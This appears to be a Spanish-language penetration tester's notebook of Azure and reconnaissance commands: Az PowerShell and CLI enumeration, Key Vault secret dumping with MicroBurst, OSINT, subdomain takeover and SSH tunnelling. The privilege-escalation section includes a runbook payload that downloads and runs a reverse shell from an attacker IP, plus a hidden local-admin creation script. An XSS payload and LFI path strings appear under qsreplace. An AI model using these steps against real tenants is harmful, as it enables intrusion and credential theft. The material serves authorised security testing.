{% code overflow="wrap" %}

```powershell
$AccessToken = '<token JWT>'
$AccountId = '063aaf57-30af-41f1-840a-0e51ed144916' # TenantID
Connect-AzAccount -AccessToken $AccessToken -AccountId $AccountId
```

{% endcode %}

## <mark style="color:$primary;">Token</mark>

#### ARM Token en texto plano

```powershell
$tokenObject = Get-AzAccessToken -ResourceUrl "https://management.azure.com"
$plainToken = (New-Object System.Net.NetworkCredential("", $tokenObject.Token)).Password
```

#### Graph Token

```powershell
(Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token
```

## <mark style="color:$primary;">Comandos</mark>

* Comandos de AzureAD:

```powershell
Get-Command *azad*
```

* Comandos de *Azure Resources*:

```powershell
Get-Command *az*
```

* Buscar comandos de un recurso en particular:

```powershell
Get-Command *azvm*
Get-Command -Noun *vm* -Verb Get
Get-Command *vm*
```

## <mark style="color:$primary;">Información general</mark>

* Obtener información del contexto (tenant, cuenta, ...):

```powershell
Get-AzContext
```

* Obtener subscripciones accesibles por el usuario actual:

```powershell
Get-AzSubscription
```

* Obtener los recursos visibles por el usuario actual:

```powershell
Get-AzResource
Get-AzResourceGroup
```

* Obtener todos los Azure RBAC roles asignados:

```powershell
Get-AzRoleAssignment
```

* Obtener todas las máquinas virtuales donde el usuario actual tiene al menos el rol de lectura:

```powershell
Get-AzVM | fl
```

## <mark style="background-color:purple;">Usuarios</mark>

* Obtener todos los usuarios:

```powershell
Get-AzADUser
```

* Obtener información de un usuario:

```powershell
Get-AzADUser -UserPrincipalName
```

* Buscar un usuario que comience por una cadena específica:

```powershell
Get-AzADUser -SearchString "admin"
```

* Obtener los usuarios que contengan una cadena específica:

```powershell
Get-AzADUser |?{$_.Displayname -match "admin"}
```

## <mark style="background-color:purple;">Grupos</mark>

* Obtener todos los grupos:

```powershell
Get-AzADGroup
```

* Obtener detalles de un grupo en concreto:

```powershell
Get-AzADGroup -ObjectId ff7d0475-364b-4ad6-8f7d-7e8f831e93ce
```

* Obtener detalles de los grupos que empiecen por una cadena en concreto:

```powershell
Get-AzADGroup -SearchString "admin" | fl *
```

* Obtener detalles de los grupos que contengan una cadena en concreto:

```powershell
Get-AzADGroup |?{$_.Displayname -match "admin"}
```

* Obtener miembros de un grupo:

```powershell
Get-AzADGroupMember -ObjectId 9197ad11-c384-4289-bb2a-45d03cfb6d05
```

## <mark style="background-color:purple;">Aplicaciones</mark>

* Obtener todos los objetos de aplicaciones registradas en el *Tenant*:

```powershell
Get-AzADApplication
```

* Obtener todos los detalles de una aplicación:

```powershell
Get-AzADApplication -ObjectId fe5e6dcb-1c46-2abe-b964-9af5ba322494
```

* Obtener una aplicación según su *Display Name*:

```powershell
Get-AzADApplication | ?{$_.DisplayName -match "app"}
```

* Obtener todas las aplicaciones que tienen contraseña:

```powershell
Get-AzADApplication | %{if(Get-AzADAppCredential -ObjectID $_.ObjectID){$_}}
```

* Obtener aplicaciones web visibles:

```powershell
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
```

## *<mark style="background-color:purple;">Service Principals</mark>*

* Obtener todos los *Service Principals*:

```powershell
Get-AzADServicePrincipal
```

* Obtener todos los detalles de un *Service Principal*:

```powershell
Get-AzADServicePrincipal -ObjectId fe5e6dcb-1c46-2abe-b964-9af5ba322494
```

* Obtener los *Service Principal* según su *Display Name*:

```powershell
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
```

## <mark style="background-color:purple;">Roles</mark>

* Obtener roles asignados:

```powershell
Get-AzRoleAssignment
```

## *<mark style="background-color:purple;">Automation Accounts</mark>*

* Obtener grupo del *Automation Accounts*:

{% code overflow="wrap" %}

```powershell
Get-AzAutomationHybridWorkerGroup -AutomationAccountName HybridAutomation -ResourceGroupName Test
```

{% endcode %}


# Az Cli

La CLI de Azure se puede instalar en entornos Windows, macOS y Linux. También se puede ejecutar en un contenedor de Docker y Azure Cloud Shell. Permite configurar y administrar recursos de Azure.

## <mark style="background-color:red;">Instalación</mark>

<mark style="background-color:red;">Windows</mark>

Detalles de la instalación: <https://learn.microsoft.com/en-us/cli/azure/install-azure-cli-windows?tabs=powershell>

O también se puede utilizar el siguiente comando que descarga y ejecuta el instalador .msi de 64-bit:

{% code overflow="wrap" %}

```powershell
$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://aka.ms/installazurecliwindowsx64 -OutFile .\AzureCLI.msi; Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet'; Remove-Item .\AzureCLI.msi
```

{% endcode %}

### Linux

<https://learn.microsoft.com/en-us/cli/azure/install-azure-cli-linux?view=azure-cli-latest&pivots=apt>

```bash
sudo apt install azure-cli
```

## <mark style="background-color:red;">Conexión</mark>

Para iniciar sesión con Az Cli, se pueden usar los siguientes comandos:

### <mark style="color:red;">Popup</mark>

Se abre una ventana emergente para iniciar sesión:

```powershell
az login
```

### <mark style="color:red;">Línea de comandos</mark>

Se inicia sesión desde la línea de comandos.

* Se registra la contraseña en el historial de la consola:

```powershell
az login -u <email> -p <password>
```

* No se registra la contraseña en el historial de la consola:

```powershell
az login -u <email>
```

```powershell
read -sp "Azure password: " AZ_PASS && echo && az login -u <username> -p $AZ_PASS
```

```powershell
$AzCred = Get-Credential -UserName <username>
az login -u $AzCred.UserName -p $AzCred.GetNetworkCredential().Password
```

#### Sin permisos en suscripciones

```powershell
az login -u <email> -p <password> --allow-no-subscriptions
```

#### Con código de dispositivo

Si se quiere iniciar sesión sin el popup o usando credenciales desde la consola, se puede usar el siguiente comando, que dará un código para usarlo desde un positivo en el que se haya iniciado sesión.

1. Se ejecuta el comando y se obtiene un código:

```powershell
az login --use-device-code
```

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2F3E01FyI4EPfhdfNby2ud%2FCaptura%20de%20pantalla%202024-06-14%20a%20las%209.54.55.png?alt=media&amp;token=4f97cb51-6433-4f6f-a295-9ef0bc094474" alt=""><figcaption></figcaption></figure>

2. Se abre la url "<https://microsoft.com/devicelogin>" en un dispositivo donde se haya iniciado sesión.
3. Se añade el código mostrado en el paso 1.

## <mark style="background-color:red;">Tokens</mark>

* Obtener token de acceso:

```powershell
az account get-access-token
az account get-access-token --resource-type aad-graph
az account get-access-token --subscription "<subscription ID or name>"
```

## <mark style="background-color:red;">Configuración</mark>

```powershell
az configure
```

## <mark style="background-color:red;">Comandos</mark>

```
az find "vm"
az find "az vm"
az find "az vm list"
```

{% hint style="info" %}
Se puede modificar la salida de información con el parámetro "--output":

* \--output table
  {% endhint %}

{% hint style="warning" %}
Para obtener información de la mayoría de consultas, es necesario que el dispositivo se encuentre dentro del dominio, si no, saldrá el siguiente error:

{% code overflow="wrap" fullWidth="false" %}

```
AADSTS53001: Device is not in required device state: domain_joined. Conditional Access policy requires a domain joined device, and the device is not domain joined. Trace ID: 65ee476e-caa8-4fff-b8fc-351f6e947101 Correlation ID: ca37e804-ed92-4f9e-bf70-44895e9e6ca0 Timestamp: 2024-04-28 18:10:57Z
```

{% endcode %}
{% endhint %}

## <mark style="background-color:red;">Información general</mark>

* Detalles del Tenant:

```powershell
az account tenant list
```

* Obtener detalles de la subscripción actual:

<pre class="language-powershell"><code class="lang-powershell"><strong>az account subscription list
</strong></code></pre>

* Obtener detalles del usuario actual:

```powershell
az ad signed-in-user show
```

* Obtener los objetos propiedad del usuario actual:

```
az ad signed-in-user list-owned-objects
```

* Obtener las máquinas virtuales donde el usuario actual tiene al menos permisos de lectura:

```powershell
az vm list
```

* Obtener nombre de las máquinas virtuales:

```powershell
az vm list --query "[].[name]" -o table
```

## <mark style="background-color:red;">Usuarios</mark>

* Obtener usuarios:

```powershell
az ad user list
```

{% hint style="info" %}
Esta herramienta utiliza JMESPath como consulta para filtrar información.
{% endhint %}

* Filtrar la salida para mostrar únicamente *userPrincipalName* y *displayName*:

```powershell
az ad user list --query "[].[userPrincipalName,displayName]" --output table
```

* Filtrar la salida para mostrar las columnas anteriores modificando el nombre de la columna:

```powershell
az ad user list --query "[].{UPN:userPrincipalName, Name:displayName}" --output table
```

* Obtener detalles de un usuario en concreto:

```powershell
az ad user show --id test@defcorphq.onmicrosoft.com
```

* Obtener los usuarios cuyo *displayName* contenga la cadena *admin (case sensitive)*:

```powershell
az ad user list --query "[?contains(displayName,'admin')].displayName"
```

* Lo mismo que antes, pero *NOT case sensitive*:

```powershell
az ad user list | ConvertFrom-Json | %{$_.displayName -match "admin"}
```

* Todos los usuarios sincronizados desde on-prem:

```powershell
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
```

* Usuarios que son de AzureAD:

```powershell
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
```

* Para ver más opciones de filtrado:

```powershell
az ad user show list --query-examples
```

## <mark style="background-color:red;">Grupos</mark>

* Obtener todos los grupos:

```powershell
az ad group list

az ad group list --query "[].[displayName]" -o table
```

* Obtener un grupo en concreto según su *DisplayName* u *ObjectID*:

```powershell
az ad group show -g "VM Admins"

az ad group show -g fe5e6dcb-1c46-2abe-b964-9af5ba122494
```

* Obtener los grupos que contengan en el DisplayName una cadena en concreto (*case sensitive*):

```powershell
az ad group list --query "[?contains(displayName,'admin')].displayName"
```

* Obtener los grupos que contengan en el DisplayName una cadena en concreto (NOT *case sensitive*):

```powershell
az ad group list | ConvertFrom-Json | %{$_.displayName -match "admin"}
```

* Obtener los grupos sincronizados desde on-prem:

```powershell
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
```

* Obtener los grupos de AzureAD:

```powershell
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
```

* Obtener miembros de un grupo:

{% code overflow="wrap" %}

```
az ad group member list -g "VM Admins" --query "[].[displayName]" -o table
```

{% endcode %}

* Comprobar si un usuario es miembro de un grupo:

{% code overflow="wrap" %}

```powershell
az ad group member check --group "VM Admins" --member-id fe4e6dcb-1c46-2abe-b964-9af5ba322494
```

{% endcode %}

* Obtener los ObjectID de los grupos a los que pertenece el grupo:

{% code overflow="wrap" %}

```powershell
az ad group get-member-groups -g "VM Admins"
```

{% endcode %}

* Añadir un usuario a un grupo usando sus ObjectID:

{% code overflow="wrap" %}

```powershell
Add-AzureADGroupMember -ObjectId "<ID del grupo>" -RefObjectId "<ID del usuario>" -Verbose
```

{% endcode %}

```powershell
Add-AzureADGroupMember -ObjectId "e6875783-1378-4072-b242-
84c08c6dc0d7" -RefObjectId "f63e133c-bd01-4b1b-b3b7-7cd949fd45f3" -Verbose
```

## <mark style="background-color:red;">Aplicaciones</mark>

* Obtener todas las aplicaciones registradas en el Tenant:

{% code overflow="wrap" %}

```powershell
az ad app list

az ad app list --query "[].[displayName]" -o table
```

{% endcode %}

* Obtener todos los detalles de una aplicación:

```powershell
az ad app show --id fe4e6dcb-1c45-2abe-b964-9af5ba322494
```

* Obtener una aplicación basado en su *DisplayName*:

```powershell
az ad app list --query "[?contains(displayName,'app')].displayName"
```

* Obtener una aplicación que contenga una cadena en concreto en el DisplayName:

```powershell
az ad app list | ConvertFrom-Json | %{$_.displayName -match "app"}
```

* Obtener al dueño/a de una aplicación:

{% code overflow="wrap" %}

```powershell
az ad app owner list --id fe4e6dcb-1c45-2abe-b964-9af5ba321494 --query "[].[displayName]" -o table
```

{% endcode %}

* Obtener las aplicaciones que cuentan con contraseña:

```powershell
az ad app list --query "[?passwordCredentials !=null].displayName"
```

* Obtener las aplicaciones que tienen claves de credenciales (usan certificados de autenticación):

```powershell
az ad app list --query "[?keyCredentials !=null].displayName"
```

* Obtener aplicaciones web:

```powershell
az webapp list
```

* Obtener aplicaciones de funciones de Azure:

```powershell
az functionapp list
```

## <mark style="background-color:purple;">Servicios principales</mark>

* Obtener todos los *Service Principals*:

```powershell
az ad sp list --all
az ad sp list --all --query "[].[displayName]" -o table
```

* Obtener los detalles de un *Service Principal* según su *DisplayName* u *ObjectID*:

```powershell
az ad sp show --id fe4e6dcb-1c45-1abe-b964-9af5ba321494
```

* Obtener un *Service Principal* cuyo *DisplayName* empiece por la cadena en concreto :

{% code overflow="wrap" %}

```powershell
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
```

{% endcode %}

* Obtener un *Service Principal* que contenga una cadena en concreto en su *DisplayName*:

{% code overflow="wrap" %}

```powershell
az ad sp list --all | ConvertFrom-Json | %{$_.displayName -match "app"}
```

{% endcode %}

* Obtener al dueño/a de un *Service Principal*:

{% code overflow="wrap" %}

```powershell
az ad sp owner list --id fe4e6dcb-1c45-1abe-b964-9af5ba321494 --query "[].[displayName]" -o table
```

{% endcode %}

* Obtener los *Service Principals* cuyo dueño/a es el usuario actual:

```powershell
az ad sp list --show-mine
```

* Obtener los *Service Principals* que cuentan con contraseña:

```powershell
az ad sp list --all --query "[?passwordCredentials != null].displayName"
```

* Obtener los *Service Principals* que tienen claves de credenciales (usan certificados de autenticación):

```powershell
az ad sp list -all --query "[?keyCredentials != null].displayName"
```

## <mark style="background-color:red;">Roles</mark>

```powershell
az role assignment list --assignee xtormin@xtormincorp.onmicrosoft.com
```

## <mark style="background-color:red;">Referencias</mark>

* <https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli-interactively>
* <https://learn.microsoft.com/en-us/cli/azure/cheat-sheet-onboarding>


# Microsoft Graph

## <mark style="color:red;">Instalación</mark>

```
Install-Module Microsoft.Graph
```

## <mark style="color:red;">Conexión</mark>

* Autenticación interactiva:

```powershell
Connect-MgGraph -Scopes "User.Read.All"
```

* Con código de dispositivo:

```powershell
Connect-MgGraph -Scopes "User.Read.All" -UseDeviceAuthentication
```

* Token de acceso:

```powershell
Connect-MgGraph -AccessToken $AccessToken
```

* Acceso a una aplicación:
  * Con certificado:

```powershell
Connect-MgGraph -ClientId "<AppID>" -TenantId "<TenantID>" -
CertificateThumbprint "<CERT_THUMBPRINT>"
```

* Con secreto de cliente:

```powershell
Connect-MgGraph -TenantId "<TenantID>" -ClientSecretCredential
$ClientSecretCredential
```

* Usando una identidad administrada:

```powershell
Connect-MgGraph -Identity
```

## <mark style="color:red;">Permisos</mark>

```powershell
Find-MgGraphPermission application
```


# Entra ID


# Recursos de Azure

## Enumeración de recursos

Grupos de recursos:

```powershell
Get-AzResourceGroup
Get-AzResourceGroup -Name <nombre-grupoderecursos>
```

Recursos:

```powershell
Get-AzResource
Get-AzResource -ResourceGroupName <nombre-grupoderecursos>
Get-AzResource -ResourceGroupName <nombre-grupoderecursos> -Name <nombre-recurso>
```

## Key Vaults

### Obtener Token

```powershell
$KVToken = (Get-AzAccessToken -ResourceTypeName KeyVault).Token
```

### Enumeración

#### Vaults

```powershell
Get-AzKeyVault
Get-AzKeyVault -ResourceGroupName rg-app-001
```

```powershell
Get-AzKeyVaultSecret -VaultName <nombre-vault>
```

### Obtención de credenciales

Lectura de claves de Vaults manual:

```
Get-AzKeyVaultSecret -VaultName <nombre-vault> -Name <nombre-clave> -AsPlainText
```

Microburst:

<https://github.com/NetSPI/MicroBurst>

```powershell
git clone "https://github.com/NetSPI/MicroBurst.git"
cd MicroBurst
Import-Module Microburst.psm1
```

```powershell
Get-AzPasswords
Get-AzPasswords -Verbose | Out-GridView
```

## LogicApps

En ocasiones guardan un historial que contiene parametros de entrada y salida que pueden contener información sensible.


# Extracción de credenciales

```powershell
Get-AzPasswords -Verbose
Get-AzPasswords -ExportCerts Y -ExportKube Y -ModifyPolicies Y -Verbose
```


# Escalada de privilegios

## <mark style="color:red;">Automation Account</mark>

```powershell
az automation account list
```

```
[
  {
    "creationTime": "2021-03-17T14:40:05.340000+00:00",
    "description": null,
    "etag": null,
    "id": "/subscriptions/b413824f-108d-4049-8c11-d52d5d386768/resourceGroups/Test/providers/Microsoft.Automation/automationAccounts/HybridAutomation",
    "lastModifiedBy": null,
    "lastModifiedTime": "2022-10-30T14:26:31.586666+00:00",
    "location": "switzerlandnorth",
    "name": "HybridAutomation",
    "resourceGroup": "Test",
    "sku": null,
    "state": null,
    "tags": {},
    "type": "Microsoft.Automation/AutomationAccounts"
  }
]
```

{% code overflow="wrap" %}

```powershell
Get-AzAutomationHybridWorkerGroup -AutomationAccountName HybridAutomation -ResourceGroupName Test
```

{% endcode %}

```
ResourceGroupName     : Test
AutomationAccountName : HybridAutomation
Name                  : Workergroup1
RunbookWorker         : {defeng-adcsrv.defeng.corp}
GroupType             : User
```

Si se cuenta con un "hybrid runbookworker" podría ser posible ejecutar comandos en el servidor. Para ello se creará un runbook que cuente con un fichero powershell que contendrá el código malicioso que nos enviará el interprete de comandos a nuestra netcat.

1. Crear un runbook:

{% code overflow="wrap" %}

```powershell
Import-AzAutomationRunbook -Name test -Path C:\Pentest\Tools\rshell.ps1 -AutomationAccountName HybridAutomation -ResourceGroupName Test -Type PowerShell -Force -Verbose
```

{% endcode %}

Contenido del fichero <mark style="color:red;">**rshell.ps1**</mark>:

{% code overflow="wrap" %}

```powershell
powershell "IEX (New-Object Net.Webclient).downloadstring('http://<IP atacante>:80/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress <IP atacante> -Port <Puerto>"
```

{% endcode %}

2. Publicar el runbook:

{% code overflow="wrap" %}

```powershell
Publish-AzAutomationRunbook -RunbookName test -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose
```

{% endcode %}

3. Se pone el puerto 4444 a la escucha con netcat en la máquina del atacante:

```
C:\AzAD\Tools\netcat\nc64.exe -lvp 443
```

4. Se ejecuta el runbook:

{% code overflow="wrap" %}

```powershell
Start-AzAutomationRunbook -RunbookName test -RunOn Workergroup1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose
```

{% endcode %}

### <mark style="color:red;">Ejecución de comandos en VM por abuso de permisos</mark>

```powershell
$passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force
New-LocalUser -Name usertest -Password $passwd 
Add-LocalGroupMember -Group Administrators -Member usertest
```

{% code overflow="wrap" %}

```
$AccessToken = '<JWT>'
Connect-AzAccount -AccessToken $AccessToken -AccountId 024aaf57-30af-45f0-840a-0e21ed143946
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Get-AzVM -Name <máquina virtual> -ResourceGroupName <nombre de grupo> | select -ExpandProperty NetworkProfile
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Invoke-AzVMRunCommand -VMName <máquina virtual> -ResourceGroupName Engineering -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Pentest\Tools\adduser.ps1' -Verbose
```

{% endcode %}


# Perímetro

## Registros DMARC y SPF


# Reconocimiento externo & OSINT

## <mark style="color:red;">Whois</mark>

WhoisXMLAPI

<https://whois.whoisxmlapi.com/>

Se puede obtener el whois de un dominio realizando la siguiente consulta a la API:

```bash
curl --location 'https://www.whoisxmlapi.com/whoisserver/WhoisService' \
    --header 'Content-Type: application/json' \
    --data '{
        "domainName": "dominio.com",
        "apiKey": "<TUAPIKEY>",
        "outputFormat": "JSON"
    }'
```

Con el siguiente mini-script de bash se puede automatizar la obtención de los registros Whois de una lista de dominios objetivos.

Para ello, hay que sustituir en la variable `data` el valor de la APIKey por la de una cuenta de WhoisXMLAPI.

{% code overflow="wrap" %}

```bash
for i in $(cat domains.txt); do ts=$(date +%Y%m%d); data="{\"domainName\": \"$i\", \"apiKey\": \"<TUAPIKEY>\", \"outputFormat\": \"JSON\"}"; curl -s --location 'https://www.whoisxmlapi.com/whoisserver/WhoisService' --header 'Content-Type: application/json' --data "$data" -o "${ts}_${i}whoisxmlapi.json"; echo "Guardado: ${ts}${i}_whoisxmlapi.json"; done
```

{% endcode %}

En el siguiente enlace, tras haber iniciado sesión, se puede obtener el valor de nuestra APIKey:

<https://whois.whoisxmlapi.com/documentation/making-requests>

## <mark style="color:red;">Enumeración de dominios</mark>

### WhoIsXMLApi

Si por ejemplo, conociendo el nombre de la organización y usando, además, el nombre que usa la organización para registrar dominios que sepamos que les pertenecen, se pueden buscar otros dominios asociados a la misma organización.

<https://tools.whoisxmlapi.com/reverse-whois-search>

### Obtención de IPs

{% code overflow="wrap" %}

```bash
echo "domain,ip" > domain_ips.csv && for d in $(cat domains.txt); do ips=$(dig +short "$d" | tr '\n' ' ' | sed 's/ *$//'); [[ -z "$ips" ]] && ips="NA"; echo "$d,\"$ips\"" >> domain_ips.csv; done
```

{% endcode %}

## <mark style="color:red;">Enumeración de subdominios</mark>

### WhoIsXMLApi

<https://tools.whoisxmlapi.com/domains-subdomains-discovery>

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FpAY5d5alKvLB9xR0jQQz%2Fimage.png?alt=media&amp;token=14bf92f8-8f0c-4e4b-b0e3-1b15fc1800ee" alt=""><figcaption></figcaption></figure>

O usando la API:

<https://domains-subdomains-discovery.whoisxmlapi.com/api/documentation/making-requests>

{% code overflow="wrap" %}

```bash
curl -s -X POST "https://domains-subdomains-discovery.whoisxmlapi.com/api/v1" \
  -H "Content-Type: application/json" \
  -d '{ "apiKey": "<TUAPIKEY>", "domains": { "include": [ "dominio.com" ] }, "subdomains": { "include": [ "*" ] } }'
```

{% endcode %}

### ProjectDiscovery Cloud Platform

```
https://cloud.projectdiscovery.io/assets/domain/<dominio>
https://cloud.projectdiscovery.io/assets/domain/hubspot.com
```

### Bevigil

<https://bevigil.com/osint-api>

### crt.sh

```
https://crt.sh/?q=%25.<dominio>
https://crt.sh/?q=%25.xtormin.com
```

### Subfinder

<https://github.com/projectdiscovery/subfinder>

```bash
subfinder -d xtormin.com -silent
```

### Subfinder + httpx

<https://github.com/projectdiscovery/httpx>

```bash
subfinder -silent -d xtormin.com | httpx -silent
subfinder -silent -d xtormin.com | httpx -silent > discover/urls-xtormin.com.txt
```

{% code overflow="wrap" %}

```bash
subfinder -silent -d xtormin.com | httpx -silent | nuclei -t technologies/tech-detect.yaml
```

{% endcode %}

### gau

<https://github.com/lc/gau>

Obtener URL conocidas de Open Threat Exchange de AlienVault, Wayback Machine y Common Crawl.

```bash
gau ejemplo.com > urls.txt
```

Se ejecuta el comando anterior y luego se filtran esas URLs (por ejemplo, quedarse con aquellas con parámetros `?=`) y pasarlas a Nuclei.&#x20;

¿Por qué? Porque en esas rutas a veces hay endpoints antiguos. Un caso práctico: extraer todas las URLs de `ejemplo.com` con `gau`, luego ejecutar plantillas de **exposures** sobre ellas (buscando si algún endpoint `/dev/` o parámetros de debug están accesibles). Esto puede revelar API ocultas o páginas de administración a las que ya no se enlaza, pero siguen activas.

### katana

<https://github.com/projectdiscovery/katana>

Es un **web crawler** rápido de ProjectDiscovery. Tras identificar un host interesante, se puede ejecutar el comando anterior para descubrir rutas internas (por ejemplo, enlaces o endpoints en el código JavaScript) y luego alimentar esos resultados a Nuclei.&#x20;

```bash
katana -u https://ejemplo.com
```

Katana encuentra cosas que gau (pasivo) no ve, ya que explora la aplicación en tiempo real. Integrando Katana con Nuclei, se logra un **fuzzing dirigido**: primero se rastrea la superficie del sitio, luego se escanean esos descubrimientos con plantillas. Por ejemplo, si Katana descubre un `/api/v2/internal/test`, se puede inmediatamente correr plantillas de API genéricas sobre ese endpoint para ver si hay configuraciones inseguras o métodos HTTP habilitados inesperadamente.

### qsreplace

Esta herramienta reemplaza valores de parámetros en una lista de URLs con un payload deseado. Es útil para pruebas de inyección.&#x20;

Un ejemplo: supongamos que con gau/katana se obtuvo una lista de URLs con parámetros (`urls_con_params.txt`). Un hunter podría usar `qsreplace` para inyectar un payload XSS en todos esos parámetros de golpe:&#x20;

{% code overflow="wrap" %}

```bash
cat urls_con_params.txt | qsreplace '"><img src=x onerror=alert(1)>' > xss_test_urls.txt
```

{% endcode %}

Luego ese archivo `xss_test_urls.txt` se pasa a Nuclei con una plantilla de detección de XSS reflejado. La plantilla comprobaría si la cadena `"><img src=x onerror=alert(1)>` aparece en la respuesta sin escapar, indicando vulnerabilidad. De esta manera, **Nuclei se convierte en el motor de verificación**, mientras que herramientas como qsreplace generan variaciones de los inputs. Similarmente, qsreplace se puede usar para SSRF (reemplazando parámetros `url=` con un dominio *collaborator* y usando Nuclei/Interactsh para detectar salida), o para LFI (reemplazando parámetros `file=` con `../../../../etc/passwd` y buscando la respuesta).

### Concatenación de herramientas

*Dnsx* puede resolver masivamente subdominios (por si subfinder entrega resultados sin IP); *Naabu* para detectar puertos abiertos no estándar (por ejemplo aplicaciones corriendo en 8080, 8443, etc., que Httpx luego convierte a URLs para Nuclei); *Katana headless* para escenarios con heavy JavaScript; *ParamSpider/GF* para encontrar parámetros candidatos a inyección, etc. En general, Nuclei se coloca al final de estas cadenas: **consume los datos que otras herramientas producen** (URLs, parámetros, hosts) y realiza los chequeos de vulnerabilidades en base a sus plantillas.

### Parseado de información

Extraer subdominios de una lista de URLs:

{% code overflow="wrap" %}

```bash
cat subfinder_output.txt | awk -F/ '{print $3}' | sort -u > subdomains.txt
```

{% endcode %}

## Enumeración de redes (PTR)

```bash
echo "173.0.84.0/24" | dnsx -silent -resp-only -ptr
```

## Enumeración de organizaciones y ASN

<https://github.com/j3ssie/metabigor>

```bash
echo "organización" | metabigor net --org -o org-data.txt
```

```bash
echo AS17012 | dnsx -silent -resp-only -ptr
```

## Subdomain Takeover

### Condiciones de explotación

Condiciones:

1. El subdominio existe y apunta a un servicio externo.
2. El recurso en el proveedor externo no está activo o no ha sido creado.
3. El proveedor permite reclamar ese nombre sin verificación adicional.
4. El DNS sigue apuntando al servicio (registro activo).

{% hint style="warning" %}
Si se apunta un wildcard a un servicio (ej: `*.example.com` → `myapp.herokuapp.com`) y **no se reclaman explícitamente** los subdominios, el atacante puede crear uno arbitrario.
{% endhint %}

**Condición 1**

El subdominio (`sub.example.com`) tiene un registro DNS que apunta a un proveedor externo mediante un **registro CNAME o A**.

Algunos ejemplos:

| Subdominio           | Registro DNS                    | Servicio externo     |
| -------------------- | ------------------------------- | -------------------- |
| `blog.example.com`   | CNAME → `example.github.io`     | GitHub Pages         |
| `app.example.com`    | CNAME → `app.herokuapp.com`     | Heroku               |
| `shop.example.com`   | CNAME → `shops.myshopify.com`   | Shopify              |
| `status.example.com` | CNAME → `example.statuspage.io` | Atlassian Statuspage |

**Condición 2**

La cuenta, repositorio, app o recurso **ya no existe** en el proveedor (o nunca fue creado), pero el subdominio **sigue apuntando allí**.

Ejemplo:

```bash
dig blog.example.com CNAME +short
# example.github.io.
```

Y si visitas `blog.example.com`, obtienes algo como:

```
There isn't a GitHub Pages site here.
```

**Condición 3**

El servicio **no requiere validación de propiedad del dominio** para aceptar el subdominio apuntado por DNS.\
Esto permite a un atacante **registrar un nuevo recurso con ese nombre** y automáticamente tomar control del subdominio.

🔧 *Ejemplo real:*

* El atacante crea `example.github.io` → GitHub lo acepta sin verificación.
* El CNAME ya existe → `blog.example.com` carga el sitio del atacante.

**Condición 4**

Aunque el recurso externo fue eliminado, el **registro DNS sigue presente**, por lo tanto el atacante no necesita acceso a la cuenta original, solo al servicio.

### Identificación de recursos vulnerables

{% code overflow="wrap" %}

```bash
subjack -w subdomains.txt -t 50 -timeout 10 -o subdomains_takeovers_vuln_subjack.txt -ssl

nuclei -l subdomains.txt -t takeovers -silent -o subdomains_takeovers_vuln_nuclei.txt
```

{% endcode %}


# Acceso remoto

## SSH

### Túneles vía SSH Dinámicos

Los túneles vía SSH dinámicos son una forma segura de enrutar el tráfico de red a través de una conexión SSH, actuando como un proxy SOCKS. Esto permite acceder de forma segura a recursos de red remotos.

#### ¿Cómo funcionan?

1. **Establecer un túnel SSH dinámico**: Se crea una conexión SSH con un servidor remoto, configurando un puerto local como un proxy SOCKS.
2. **Enrutamiento de tráfico**: Todo el tráfico de red que se dirige al puerto local del proxy SOCKS se enruta a través de la conexión SSH y sale por el servidor remoto.

#### 1. Establecimiento de un túnel SSH dinámico

1. ⭐ Termius: <https://termius.com/>
2. Vía línea de comandos:

```bash
ssh -D 8888 <usuario>@<IP o dominio del servidor remoto>
```

```bash
ssh -D 8888 xtormin@xtormin.com
```

#### **2. Enrutamiento de tráfico**

Ahora se puede configurar el navegador u otra aplicación para usar el túnel creado y enrutar el tráfico a través del servidor remoto de forma segura. Para ello, se usará la IP local y el puerto indicado en la configuración (Ej: 127.0.0.1:8888)

1. ⭐ Burp Suite: Settings > Network > Connections > SOCKS proxy

<pre><code><strong>SOCKS proxy host: 127.0.0.1
</strong>SOCKS proxy port: 8888
</code></pre>

2. Navegador web.


# Búsqueda de vulnerabilidades

##

## CVE

* <https://www.cisa.gov/known-exploited-vulnerabilities-catalog>

### CVEMap

<https://github.com/projectdiscovery/cvemap>


# Red interna

## <mark style="color:red;">Introducción</mark>

Una red interna se puede auditar desde distintas perspectivas, según el escenario, la metodología y pruebas variarán.

### Posibles escenarios

* Acceso físico a la oficina:
  * Portátil externo.
  * Portátil corporativo.
  * Implante de red (Raspberry).
* Acceso remoto:
  * Portátil externo vía VPN.
  * Portátil corporativo.
    * Acceso vía RDP.
    * Acceso vía Citrix.
    * Acceso vía VPN.
  * Servidor expuesto al perímetro comprometido.
  * Máquina de kali en la red.

## <mark style="color:red;">Enumeración</mark>&#x20;

### Identificación de activos en la red

Identificación de hosts en la red:

```bash
nmap -v -sn -oA nmap/hosts_alive $NETWORK
```

Obtención de la lista de hosts disponibles:

```bash
cat hosts_alive | grep "Status: Up" | awk '{print $2}' > alive_hosts_list.txt
```

Escáner automatizado con logs:

<https://github.com/xtormin/CyberSnippets/blob/main/scripts/network_scan_logger.sh>

```bash
bash network_scan_logger.sh alive_hosts_list.txt tcp-1000
```

###


# PowerShell

## <mark style="color:red;">Defensas de PowerShell</mark>

### **System-wide transcription**

